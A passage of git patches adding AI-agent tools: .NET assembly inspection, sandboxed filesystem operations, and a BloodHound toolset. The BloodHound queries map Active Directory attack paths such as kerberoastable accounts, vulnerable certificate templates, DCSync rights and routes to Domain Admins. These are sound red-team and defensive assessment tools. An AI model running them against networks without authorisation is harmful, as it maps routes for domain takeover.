(everything before the last dot) + namespace = ".".join(module_type.FullName.split(".")[:-1]) + namespaces.add(namespace) + else: + # Handle types without namespace (add as root) + namespaces.add("") + + return sorted(namespaces) + + def list_types_in_namespace( + self, + path: t.Annotated[str, "The binary file path"], + namespace: t.Annotated[str, "The namespace to list types from"], + ) -> list[str]: + """ + List all types in the specified namespace. + """ + logger.info(f"list_types_in_namespace({path}, {namespace})") + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + + types = [] + for module in assembly.Modules: + for module_type in module.Types: + if namespace == "": + # Handle types without namespace + if "." not in module_type.FullName or ( + module_type.FullName.count(".") == 1 + and module_type.FullName.endswith("Module") + ): + types.append(module_type.FullName) + elif module_type.FullName.startswith(f"{namespace}."): + # Check if the type belongs directly to this namespace (not a sub-namespace) + remainder = module_type.FullName[len(namespace) + 1 :] + if "." not in remainder: + types.append(module_type.FullName) + + return types + + def list_methods_in_type( + self, + path: t.Annotated[str, "The binary file path"], + type_name: t.Annotated[str, "The full type name"], + ) -> list[str]: + """ + List all methods in the specified type. + """ + logger.info(f"list_methods_in_type({path}, {type_name})") + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + + methods = [] + for module in assembly.Modules: + for module_type in module.Types: + if module_type.FullName == type_name: + methods.extend([method.Name for method in module_type.Methods]) + break + + return methods + + def list_types(self, path: t.Annotated[str, "The binary file path"]) -> list[str]: + """ + List all types in the assembly and return their full names. + """ + logger.info(f"list_types({path})") + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + return [module_type.FullName for module in assembly.Modules for module_type in module.Types] + + def list_methods(self, path: t.Annotated[str, "The binary file path"]) -> list[str]: + """ + List all methods in the assembly and return their full names. + """ + logger.info(f"list_methods({path})") + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + methods: list[str] = [] + for module in assembly.Modules: + for module_type in module.Types: + methods.extend([method.FullName for method in module_type.Methods]) + return methods + + def search_for_references( + self, + path: t.Annotated[str, "The binary file path"], + search: t.Annotated[str, "A flexible search string used to check called function names"], + ) -> list[str]: + """ + Locate all methods inside the assembly that reference the search string. + + This can be used to locate uses of a specific function or method anywhere in the assembly. + """ + logger.info(f"search_for_references({path}, {search})") + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + return _find_references(assembly, search) + + def search_by_name( + self, + path: t.Annotated[str, "The binary file path"], + search: t.Annotated[str, "Search string to match against types and methods"], + ) -> dict[str, list[str]]: + """ + Search for types and methods in the assembly that match the search string. + This can be used to locate types and methods by name. + """ + logger.info(f"search_by_name({path}, {search})") + + results: dict[str, list[str]] = { + "types": [], + "methods": [], + } + + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + + search_lower = search.lower() + + # Type search + for module in assembly.Modules: + for module_type in module.Types: + if search_lower in module_type.FullName.lower(): + results["types"].append(module_type.FullName) + + # Method search + for module in assembly.Modules: + for module_type in module.Types: + for method in module_type.Methods: + if search_lower in method.FullName.lower(): + results["methods"].append(method.FullName) + + return results + + def get_call_flows_to_method( + self, + paths: t.Annotated[ + list[str], + "Paths of all .NET assemblies to consider as part of the search", + ], + method_name: t.Annotated[str, "Target method name"], + *, + max_depth: int = 10, + ) -> list[list[str]]: + """ + Find all unique call flows to the target method inside provided assemblies and + return a nested list of method names representing the call paths. + """ + logger.info(f"get_call_flows_to_method({paths}, {method_name})") + assemblies = [AssemblyDefinition.ReadAssembly(self._resolve_path(path)) for path in paths] + short_target_name = _shorten_dotnet_name(method_name) + + def build_tree( + method_name: str, + current_depth: int = 0, + visited: set[str] | None = None, + ) -> dict[str, t.Any]: + visited = visited or set() + if method_name in visited or current_depth > max_depth: + return {} + + visited.add(method_name) + tree = {} + + for assembly in assemblies: + for caller in _find_references(assembly, method_name): + if caller not in visited: + tree[caller] = build_tree( + _shorten_dotnet_name(caller), + current_depth + 1, + visited.copy(), + ) + + return tree + + call_tree = build_tree(short_target_name) + return _extract_unique_call_paths(call_tree) From 991c1c63755065c26c01c5bfd19f51d3a9d0baca Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Fri, 22 Aug 2025 00:06:26 -0600 Subject: [PATCH 02/60] fs tool --- dreadnode/agent/tools/filesystem/__init__.py | 0 dreadnode/agent/tools/filesystem/tool.py | 440 +++++++++++++++++++ dreadnode/agent/tools/ilspy/__init__.py | 0 examples/agents/dotnet-reversing/ilspy.ipynb | 19 + 4 files changed, 459 insertions(+) create mode 100644 dreadnode/agent/tools/filesystem/__init__.py create mode 100644 dreadnode/agent/tools/filesystem/tool.py create mode 100644 dreadnode/agent/tools/ilspy/__init__.py create mode 100644 examples/agents/dotnet-reversing/ilspy.ipynb diff --git a/dreadnode/agent/tools/filesystem/__init__.py b/dreadnode/agent/tools/filesystem/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/filesystem/tool.py b/dreadnode/agent/tools/filesystem/tool.py new file mode 100644 index 00000000..1b32e002 --- /dev/null +++ b/dreadnode/agent/tools/filesystem/tool.py @@ -0,0 +1,440 @@ +import contextlib +import re +import typing as t +from dataclasses import dataclass, is_dataclass +from datetime import datetime, timezone +from pathlib import Path + +import rigging as rg +from loguru import logger +from upath import UPath + +from dreadnode.agent.tools import Toolset, tool_method + +FilesystemMode = t.Literal["read-only", "read-write"] + +MAX_GREP_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + + +def _is_dataclass_instance(obj: t.Any) -> bool: + return is_dataclass(obj) and not isinstance(obj, type) + + +def _shorten(text: str, length: int = 100) -> str: + return text if len(text) <= length else text[:length] + "..." + + +@dataclass +class FilesystemItem: + """Item in the filesystem""" + + type: t.Literal["file", "dir"] + name: str + size: int | None = None + modified: str | None = None # Last modified time + + @classmethod + def from_path(cls, path: UPath, relative_base: UPath) -> "FilesystemItem": + """Create an Item from a UPath""" + + base_path = str(relative_base.resolve()) + full_path = str(path.resolve()) + relative = full_path[len(base_path) :] + + if path.is_dir(): + return cls(type="dir", name=relative, size=None, modified=None) + + if path.is_file(): + return cls( + type="file", + name=relative, + size=path.stat().st_size, + modified=datetime.fromtimestamp(path.stat().st_mtime, tz=timezone.utc).strftime( + "%Y-%m-%d %H:%M:%S", + ), + ) + + raise ValueError(f"'{relative}' is not a valid file or directory.") + + +@dataclass +class GrepMatch: + """Individual search match""" + + path: str + line_number: int + line: str + context: list[str] + + +@dataclass +class FilesystemTools(Toolset): + path: UPath + mode: FilesystemMode = "read-only" + + def __init__( + self, + path: str | Path | UPath, + *, + mode: FilesystemMode = "read-only", + fs_options: dict[str, t.Any] | None = None, + ) -> None: + self.path = path if isinstance(path, UPath) else UPath(str(path), **(fs_options or {})) + self.path = self.path.resolve() + self.mode = mode + + self._fs = self.path.fs + + def _resolve(self, path: str) -> UPath: + full_path = (self.path / path.lstrip("/")).resolve() + + # Check if the resolved path starts with the base path + if not str(full_path).startswith(str(self.path)): + raise ValueError(f"'{path}' is not accessible.") + + full_path._fs_cached = self._fs # noqa: SLF001 + + return full_path + + def _safe_create_file(self, path: str) -> UPath: + file_path = self._resolve(path) + + parent_path = file_path.parent + if not parent_path.exists(): + parent_path.mkdir(parents=True, exist_ok=True) + + if not file_path.exists(): + file_path.touch() + + return file_path + + def _relative(self, path: UPath) -> str: + """ + Get the path relative to the base path. + """ + # Would prefer relative_to here, but it's + # very flaky with UPath + base_path = str(self.path.resolve()) + full_path = str(path.resolve()) + return full_path[len(base_path) :] + + @tool_method + def read_file( + self, + path: t.Annotated[str, "Path to the file to read"], + ) -> rg.ContentImageUrl | str: + """ + Read a file and return its contents. + """ + logger.info(f"read_file({path})") + _path = self._resolve(path) + content = _path.read_bytes() + + try: + return content.decode("utf-8") + except UnicodeDecodeError: + return rg.ContentImageUrl.from_file(path) + + @tool_method + def read_lines( + self, + path: t.Annotated[str, "Path to the file to read"], + start_line: t.Annotated[int, "Start line number (0-indexed)"] = 0, + end_line: t.Annotated[int, "End line number"] = -1, + ) -> str: + """ + Read a partial file and return the contents with optional line numbers. + Negative line numbers count from the end. + """ + logger.info(f"read_lines({path}, {start_line}, {end_line})") + _path = self._resolve(path) + + if not _path.exists(): + raise ValueError(f"'{path}' not found.") + + if not _path.is_file(): + raise ValueError(f"'{path}' is not a file.") + + with _path.open("r") as f: + lines = f.readlines() + + if start_line < 0: + start_line = len(lines) + start_line + + if end_line < 0: + end_line = len(lines) + end_line + 1 + + start_line = max(0, min(start_line, len(lines))) + end_line = max(start_line, min(end_line, len(lines))) + + return "\n".join(lines[start_line:end_line]) + + @tool_method + def ls( + self, + path: t.Annotated[str, "Directory path to list"] = "", + ) -> list[FilesystemItem]: + """ + List the contents of a directory. + """ + logger.info(f"ls({path})") + _path = self._resolve(path) + + if not _path.exists(): + raise ValueError(f"'{path}' not found.") + + if not _path.is_dir(): + raise ValueError(f"'{path}' is not a directory.") + + items = list(_path.iterdir()) + return [FilesystemItem.from_path(item, self.path) for item in items] + + @tool_method + def glob( + self, + pattern: t.Annotated[str, "Glob pattern for file matching"], + ) -> list[FilesystemItem]: + """ + Returns a list of paths matching a valid glob pattern. The pattern can + include ** for recursive matching, such as '/path/**/dir/*.py'. + """ + matches = list(self.path.glob(pattern)) + + # Check to make sure all matches are within the base path + for match in matches: + if not str(match).startswith(str(self.path)): + raise ValueError(f"'{pattern}' is not valid.") + + return [FilesystemItem.from_path(match, self.path) for match in matches] + + @tool_method + def grep( + self, + pattern: t.Annotated[str, "Regular expression pattern to search for"], + path: t.Annotated[str, "File or directory path to search in"], + *, + max_results: t.Annotated[int, "Maximum number of results to return"] = 100, + recursive: t.Annotated[bool, "Search recursively in directories"] = False, + ) -> list[GrepMatch]: + """ + Search for pattern in files and return matches with line numbers and context. + + For directories, all text files will be searched. + """ + logger.info(f"grep({pattern}, {path}, {max_results}, {recursive})") + regex = re.compile(pattern, re.IGNORECASE) + + target_path = self._resolve(path) + if not target_path.exists(): + raise ValueError(f"'{path}' not found.") + + # Determine files to search + files_to_search: list[UPath] = [] + if target_path.is_file(): + files_to_search.append(target_path) + elif target_path.is_dir(): + files_to_search.extend( + list(target_path.rglob("*") if recursive else target_path.glob("*")), + ) + + matches: list[GrepMatch] = [] + for file_path in [f for f in files_to_search if f.is_file()]: + if len(matches) >= max_results: + break + + if file_path.stat().st_size > MAX_GREP_FILE_SIZE: + continue + + with contextlib.suppress(Exception): + logger.debug(f" |- {file_path}") + + with file_path.open("r") as f: + lines = f.readlines() + + for i, line in enumerate(lines): + if len(matches) >= max_results: + break + + if regex.search(line): + line_num = i + 1 + context_start = max(0, i - 1) + context_end = min(len(lines), i + 2) + context = [] + + for j in range(context_start, context_end): + prefix = ">" if j == i else " " + line_text = lines[j].rstrip("\r\n") + context.append(f"{prefix} {j + 1}: {_shorten(line_text)}") + + rel_path = self._relative(file_path) + matches.append( + GrepMatch( + path=rel_path, + line_number=line_num, + line=_shorten(line.rstrip("\r\n")), + context=context, + ), + ) + + return matches + + @tool_method + def write_file( + self, + path: t.Annotated[str, "Path to write the file to"], + contents: t.Annotated[str, "Content to write to the file"], + ) -> FilesystemItem: + """ + Create or overwrite a file with the given contents. + """ + logger.info(f"write_file({path})") + if self.mode != "read-write": + raise RuntimeError("File writing not allowed in read-only mode") + + _path = self._safe_create_file(path) + with _path.open("w") as f: + f.write(contents) + + return FilesystemItem.from_path(_path, self.path) + + @tool_method + def write_lines( + self, + path: t.Annotated[str, "Path to write to"], + contents: t.Annotated[str, "Content to write"], + insert_line: t.Annotated[int, "Line number to insert at (negative counts from end)"] = -1, + mode: t.Annotated[str, "Mode: 'insert' or 'overwrite'"] = "insert", + ) -> FilesystemItem: + """ + Write content to a specific line in the file. + Mode can be 'insert' to add lines or 'overwrite' to replace lines. + """ + logger.info(f"write_lines({path}, {insert_line}, {mode})") + if self.mode != "read-write": + raise RuntimeError("This action is not available in read-only mode") + + if mode not in ["insert", "overwrite"]: + raise ValueError("Invalid mode. Use 'insert' or 'overwrite'") + + _path = self._safe_create_file(path) + + lines: list[str] = [] + with _path.open("r") as f: + lines = f.readlines() + + # Normalize line endings in content + content_lines = [ + line + "\n" if not line.endswith("\n") else line + for line in contents.splitlines(keepends=False) + ] + + # Calculate insert position and ensure it's within bounds + if insert_line < 0: + insert_line = len(lines) + insert_line + 1 + + insert_line = max(0, min(insert_line, len(lines))) + + # Apply the update + if mode == "insert": + lines[insert_line:insert_line] = content_lines + elif mode == "overwrite": + lines[insert_line : insert_line + len(content_lines)] = content_lines + + with _path.open("w") as f: + f.writelines(lines) + + return FilesystemItem.from_path(_path, self.path) + + @tool_method + def mkdir( + self, + path: t.Annotated[str, "Directory path to create"], + ) -> FilesystemItem: + """ + Create a directory and any necessary parent directories. + """ + logger.info(f"mkdir({path})") + if self.mode != "read-write": + raise RuntimeError("This action is not available in read-only mode") + + dir_path = self._resolve(path) + dir_path.mkdir(parents=True, exist_ok=True) + + return FilesystemItem.from_path(dir_path, self.path) + + @tool_method + def mv( + self, + src: t.Annotated[str, "Source path"], + dest: t.Annotated[str, "Destination path"], + ) -> FilesystemItem: + """ + Move a file or directory to a new location. + """ + logger.info(f"mv({src}, {dest})") + if self.mode != "read-write": + raise RuntimeError("This action is not available in read-only mode") + + src_path = self._resolve(src) + dest_path = self._resolve(dest) + + if not src_path.exists(): + raise ValueError(f"'{src}' not found") + + dest_path.parent.mkdir(parents=True, exist_ok=True) + + src_path.rename(dest_path) + + return FilesystemItem.from_path(dest_path, self.path) + + @tool_method + def cp( + self, + src: t.Annotated[str, "Source file"], + dest: t.Annotated[str, "Destination path"], + ) -> FilesystemItem: + """ + Copy a file to a new location. + """ + logger.info(f"cp({src}, {dest})") + if self.mode != "read-write": + raise RuntimeError("This action is not available in read-only mode") + + src_path = self._resolve(src) + dest_path = self._resolve(dest) + + if not src_path.exists(): + raise ValueError(f"'{src}' not found") + + if not src_path.is_file(): + raise ValueError(f"'{src}' is not a file") + + dest_path.parent.mkdir(parents=True, exist_ok=True) + + with src_path.open("rb") as src_file, dest_path.open("wb") as dest_file: + dest_file.write(src_file.read()) + + return FilesystemItem.from_path(dest_path, self.path) + + @tool_method + def delete( + self, + path: t.Annotated[str, "File or directory"], + ) -> bool: + """ + Delete a file or directory based on the is_dir flag. + """ + logger.info(f"delete({path})") + if self.mode != "read-write": + raise RuntimeError("This action is not available in read-only mode") + + _path = self._resolve(path) + if not _path.exists(): + raise ValueError(f"'{path}' not found") + + if _path.is_dir(): + _path.rmdir() + else: + _path.unlink() + + return True \ No newline at end of file diff --git a/dreadnode/agent/tools/ilspy/__init__.py b/dreadnode/agent/tools/ilspy/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/dotnet-reversing/ilspy.ipynb b/examples/agents/dotnet-reversing/ilspy.ipynb new file mode 100644 index 00000000..5607f351 --- /dev/null +++ b/examples/agents/dotnet-reversing/ilspy.ipynb @@ -0,0 +1,19 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "id": "3fcf2332", + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "language_info": { + "name": "python" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} From 6ce8bf337c8a600c40f925eab9a91bd6b1323b20 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Fri, 22 Aug 2025 00:09:27 -0600 Subject: [PATCH 03/60] bloodhound --- dreadnode/agent/tools/bloodhound/__init__.py | 0 dreadnode/agent/tools/bloodhound/tool.py | 1096 ++++++++++++++++++ 2 files changed, 1096 insertions(+) create mode 100644 dreadnode/agent/tools/bloodhound/__init__.py create mode 100644 dreadnode/agent/tools/bloodhound/tool.py diff --git a/dreadnode/agent/tools/bloodhound/__init__.py b/dreadnode/agent/tools/bloodhound/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/bloodhound/tool.py b/dreadnode/agent/tools/bloodhound/tool.py new file mode 100644 index 00000000..893ee6fc --- /dev/null +++ b/dreadnode/agent/tools/bloodhound/tool.py @@ -0,0 +1,1096 @@ +import asyncio +import json +import os +import time + +import aiohttp +import rich +from dotenv import load_dotenv +from loguru import logger +from neo4j import GraphDatabase +from rich.panel import Panel + +from dreadnode.agent.tools import Toolset, tool_method + +# Load environment variables +load_dotenv() + +# BloodHound & Neo4j connection details +BLOODHOUND_URL = os.getenv("BLOODHOUND_URL", "localhost:8080") +BLOODHOUND_USERNAME = os.getenv("BLOODHOUND_USERNAME", "admin") +BLOODHOUND_PASSWORD = os.getenv("BLOODHOUND_PASSWORD", "bloodhound") +BLOODHOUND_NEO4J_URL = os.getenv("BLOODHOUND_NEO4J_URL", "bolt://localhost:7687") +BLOODHOUND_NEO4J_USERNAME = os.getenv("BLOODHOUND_NEO4J_USERNAME", "neo4j") +BLOODHOUND_NEO4J_PASSWORD = os.getenv("BLOODHOUND_NEO4J_PASSWORD", "bloodhoundcommunityedition") + + +class Bloodhound(Toolset): + """Agent Tool API for BloodHound Server""" + + def __init__( + self, + url: str = BLOODHOUND_URL, + username: str = BLOODHOUND_USERNAME, + password: str = BLOODHOUND_PASSWORD, + neo4j_url: str = BLOODHOUND_NEO4J_URL, + neo4j_username: str = BLOODHOUND_NEO4J_USERNAME, + neo4j_password: str = BLOODHOUND_NEO4J_PASSWORD, + ): + """ """ + self.config = dict( + url=url, + username=username, + password=password, + neo4j_url=neo4j_url, + neo4j_username=neo4j_username, + neo4j_password=neo4j_password, + ) + + async def initialize(self) -> None: + """initialize connection to BloodHound server""" + + self._graph_driver = GraphDatabase.driver( + self.config["neo4j_url"], + auth=(self.config["neo4j_username"], self.config["neo4j_password"]), + encrypted=False, + ) + + await self.verify_connectivity() + + if await self._api_authenticate() is None: + raise Warning("Could not authenticate to Bloodhound REST API") + + async def _api_authenticate(self) -> dict | None: + """authenticate to Bloodhound API and get access token to use for REST API requests""" + + url = f"http://{self.config['url']}/api/v2/login" + auth_data = { + "login_method": "secret", + "username": self.config["username"], + "secret": self.config["password"], + } + auth_token = None + async with aiohttp.ClientSession() as session: + async with session.post(url=url, json=auth_data) as resp: + auth_token = await resp.json() + + # logger.info(_rich_print(f"authentication token returned from BloodHound API: {auth_token}")) + if auth_token is None or auth_token.get("data", None) is None: + logger.error(self._rich_print("Couldnt authenticate to Bloodhound REST API.")) + return None + + self._api_auth_token = auth_token["data"] + + return self._api_auth_token + + async def verify_connectivity(self): + """verify BloodHound neo4j database connectivity""" + try: + # Try both default and bloodhound databases + databases = ["neo4j", "bloodhound"] + for db in databases: + try: + with self._graph_driver.session(database=db) as session: + logger.debug(f"Attempting to verify connection to database '{db}'...") + result = session.run("MATCH (n:User) RETURN count(n) as count") + count = result.single()["count"] + logger.info( + f"Successfully connected to database '{db}'. Found {count} users." + ) + return True + except Exception as e: + logger.debug(f"Failed to connect to database '{db}': {e!s}") + continue + raise Exception("Could not connect to any database") + except Exception as e: + logger.error(f"Failed to connect to Neo4j: {e!s}") + return False + + @tool_method() + async def query_bloodhound(self, query: str): + databases = ["neo4j", "bloodhound"] + last_error = None + + for db in databases: + try: + with self._graph_driver.session(database=db) as session: + result = session.run(query) + data = [record.data() for record in result] + logger.info(self._rich_print(f"Query successful on database '{db}'")) + return {"success": True, "data": data} + except Exception as e: + last_error = e + logger.debug(self._rich_print(f"Query failed on database '{db}': {e!s}")) + continue + + logger.error(self._rich_print(f"Query failed on all databases. Last error: {last_error!s}")) + return {"success": False, "error": str(last_error)} + + # Domain Information + @tool_method + async def find_all_domain_admins(self): + query = """ + MATCH p = (t:Group)<-[:MemberOf*1..]-(a) + WHERE (a:User or a:Computer) and t.objectid ENDS WITH '-512' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def map_domain_trusts(self): + query = """ + MATCH p = (:Domain)-[:TrustedBy]->(:Domain) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_tier_zero_locations(self): + query = """ + MATCH p = (t:Base)<-[:Contains*1..]-(:Domain) + WHERE t.highvalue = true + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def map_ou_structure(self): + query = """ + MATCH p = (:Domain)-[:Contains*1..]->(:OU) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + # Dangerous Privileges + @tool_method + async def find_dcsync_privileges(self): + query = """ + MATCH p=(:Base)-[:DCSync|AllExtendedRights|GenericAll]->(:Domain) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_foreign_group_memberships(self): + query = """ + MATCH p=(s:Base)-[:MemberOf]->(t:Group) + WHERE s.domainsid<>t.domainsid + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_domain_users_local_admins(self): + query = """ + MATCH p=(s:Group)-[:AdminTo]->(:Computer) + WHERE s.objectid ENDS WITH '-513' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_domain_users_laps_readers(self): + query = """ + MATCH p=(s:Group)-[:AllExtendedRights|ReadLAPSPassword]->(:Computer) + WHERE s.objectid ENDS WITH '-513' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_domain_users_high_value_paths(self): + query = """ + MATCH p=shortestPath((s:Group)-[r*1..]->(t)) + WHERE t.highvalue = true AND s.objectid ENDS WITH '-513' AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_domain_users_workstation_rdp(self): + query = """ + MATCH p=(s:Group)-[:CanRDP]->(t:Computer) + WHERE s.objectid ENDS WITH '-513' AND NOT toUpper(t.operatingsystem) CONTAINS 'SERVER' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_domain_users_server_rdp(self): + query = """ + MATCH p=(s:Group)-[:CanRDP]->(t:Computer) + WHERE s.objectid ENDS WITH '-513' AND toUpper(t.operatingsystem) CONTAINS 'SERVER' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_domain_users_privileges(self): + query = """ + MATCH p=(s:Group)-[r]->(:Base) + WHERE s.objectid ENDS WITH '-513' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_domain_admin_non_dc_logons(self): + query = """ + MATCH (s)-[:MemberOf*0..]->(g:Group) + WHERE g.objectid ENDS WITH '-516' + WITH COLLECT(s) AS exclude + MATCH p = (c:Computer)-[:HasSession]->(:User)-[:MemberOf*1..]->(g:Group) + WHERE g.objectid ENDS WITH '-512' AND NOT c IN exclude + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + # Kerberos Interaction + @tool_method + async def find_kerberoastable_tier_zero(self): + query = """ + MATCH (u:User) + WHERE u.hasspn=true + AND u.enabled = true + AND NOT u.objectid ENDS WITH '-502' + AND NOT u.gmsa = true + AND NOT u.msa = true + AND u.highvalue = true + RETURN u + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_all_kerberoastable_users(self): + query = """ + MATCH (u:User) + WHERE u.hasspn=true + AND u.enabled = true + AND NOT u.objectid ENDS WITH '-502' + AND NOT u.gmsa = true + AND NOT u.msa = true + RETURN u + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_kerberoastable_most_admin(self): + query = """ + MATCH (u:User) + WHERE u.hasspn = true + AND u.enabled = true + AND NOT u.objectid ENDS WITH '-502' + AND NOT u.gmsa = true + AND NOT u.msa = true + MATCH (u)-[:MemberOf|AdminTo*1..]->(c:Computer) + WITH DISTINCT u, COUNT(c) AS adminCount + RETURN u + ORDER BY adminCount DESC + LIMIT 100 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_asreproast_users(self): + query = """ + MATCH (u:User) + WHERE u.dontreqpreauth = true + AND u.enabled = true + RETURN u + LIMIT 100 + """ + return await self.query_bloodhound(query) + + # Shortest Paths + @tool_method + async def find_shortest_paths_unconstrained_delegation(self): + query = """ + MATCH p=shortestPath((s)-[r*1..]->(t:Computer)) + WHERE t.unconstraineddelegation = true AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_paths_from_kerberoastable_to_da(self): + query = """ + MATCH p=shortestPath((s:User)-[r*1..]->(t:Group)) + WHERE s.hasspn=true + AND s.enabled = true + AND NOT s.objectid ENDS WITH '-502' + AND NOT s.gmsa = true + AND NOT s.msa = true + AND t.objectid ENDS WITH '-512' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_shortest_paths_to_tier_zero(self): + query = """ + MATCH p=shortestPath((s)-[r*1..]->(t)) + WHERE t.highvalue = true AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_paths_from_domain_users_to_tier_zero(self): + query = """ + MATCH p=shortestPath((s:Group)-[r*1..]->(t)) + WHERE t.highvalue = true AND s.objectid ENDS WITH '-513' AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_shortest_paths_to_domain_admins(self): + query = """ + MATCH p=shortestPath((t:Group)<-[r*1..]-(s:Base)) + WHERE t.objectid ENDS WITH '-512' AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_paths_from_owned_objects(self): + query = """ + MATCH p=shortestPath((s:Base)-[r*1..]->(t:Base)) + WHERE s.owned = true AND s<>t + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + # Active Directory Certificate Services + @tool_method + async def find_pki_hierarchy(self): + query = """ + MATCH p=()-[:HostsCAService|IssuedSignedBy|EnterpriseCAFor|RootCAFor|TrustedForNTAuth|NTAuthStoreFor*..]->(:Domain) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_public_key_services(self): + query = """ + MATCH p = (c:Container)-[:Contains*..]->(:Base) + WHERE c.distinguishedname starts with 'CN=PUBLIC KEY SERVICES,CN=SERVICES,CN=CONFIGURATION,DC=' + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_certificate_enrollment_rights(self): + query = """ + MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_esc1_vulnerable_templates(self): + query = """ + MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) + WHERE ct.enrolleesuppliessubject = True + AND ct.authenticationenabled = True + AND ct.requiresmanagerapproval = False + AND (ct.authorizedsignatures = 0 OR ct.schemaversion = 1) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_esc2_vulnerable_templates(self): + query = """ + MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(c:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) + WHERE c.requiresmanagerapproval = false + AND (c.effectiveekus = [''] OR '2.5.29.37.0' IN c.effectiveekus) + AND (c.authorizedsignatures = 0 OR c.schemaversion = 1) + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_enrollment_agent_templates(self): + query = """ + MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) + WHERE '1.3.6.1.4.1.311.20.2.1' IN ct.effectiveekus + OR '2.5.29.37.0' IN ct.effectiveekus + OR SIZE(ct.effectiveekus) = 0 + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_dcs_weak_certificate_binding(self): + query = """ + MATCH p = (s:Computer)-[:DCFor]->(:Domain) + WHERE s.strongcertificatebindingenforcementraw = 0 OR s.strongcertificatebindingenforcementraw = 1 + RETURN p + LIMIT 1000 + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_inactive_tier_zero_principals(self): + query = """ + WITH 60 as inactive_days + MATCH (n:Base) + WHERE n.highvalue = true + AND n.enabled = true + AND n.lastlogontimestamp < (datetime().epochseconds - (inactive_days * 86400)) + AND n.lastlogon < (datetime().epochseconds - (inactive_days * 86400)) + AND n.whencreated < (datetime().epochseconds - (inactive_days * 86400)) + AND NOT n.name STARTS WITH 'AZUREADKERBEROS.' + AND NOT n.objectid ENDS WITH '-500' + AND NOT n.name STARTS WITH 'AZUREADSSOACC.' + RETURN n + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_tier_zero_without_smartcard(self): + query = """ + MATCH (u:User) + WHERE u.highvalue = true + AND u.enabled = true + AND u.smartcardrequired = false + AND NOT u.name STARTS WITH 'MSOL_' + AND NOT u.name STARTS WITH 'PROVAGENTGMSA' + AND NOT u.name STARTS WITH 'ADSYNCMSA_' + RETURN u + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_domains_with_machine_quota(self): + query = """ + MATCH (d:Domain) + WHERE d.machineaccountquota > 0 + RETURN d + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_smartcard_dont_expire_domains(self): + query = """ + MATCH (s:Domain)-[:Contains*1..]->(t:Base) + WHERE s.expirepasswordsonsmartcardonlyaccounts = false + AND t.enabled = true + AND t.smartcardrequired = true + RETURN s + """ + return await self.query_bloodhound(query) + + @tool_method + async def find_two_way_forest_trust_delegation(self): + query = """ + MATCH p=(n:Domain)-[r:TrustedBy]->(m:Domain) + WHERE (m)-[:TrustedBy]->(n) + AND r.trusttype = 'Forest' + AND r.tgtdelegationenabled = true + RETURN p + """ + return await self.query_bloodhound(query) + + @tool_method + async def 